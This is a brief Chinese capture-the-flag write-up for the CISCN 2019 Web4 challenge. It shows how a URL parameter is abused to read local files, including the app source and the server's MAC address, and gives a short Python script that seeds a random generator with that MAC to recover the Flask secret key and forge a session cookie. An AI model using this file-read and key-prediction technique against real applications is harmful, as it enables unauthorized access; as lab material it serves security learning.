今天见了一个没做过的flask伪造题目,先看题[CISCN 2019华东南]Web4
点击发现参数?url=XXX可以利用,尝试下file协议。
被过滤了,可能是匹配,尝试绕过下。
看看环境变量发现/app 看下/app/app.py
明显的session伪造,但是secrect_key生成却是伪随机数式的。这里先解释下random.seed(uuid.getnode())。uuid.getnode()是获取本机的MAC并以48位二进制进行返回,那么知道这函数的含义后接下来要做什么就清楚了。先获取靶机的MAC看看。linux下mac地址的位置:/sys/class/net/eth0/address
得到地址后编写exp,
点击查看代码
import random
mac="02:42:ac:02:a8:e6"
nmac=mac.replace(":", "")
random.seed(int(nmac,16)) // 这里的int(nmac,16)就是02:42:ac:02:a8:e6去掉冒号的16进制表示
key = str(random.random() * 233)
print(key)
访问/flag将cookie改为我们伪造的进行访问得到flag。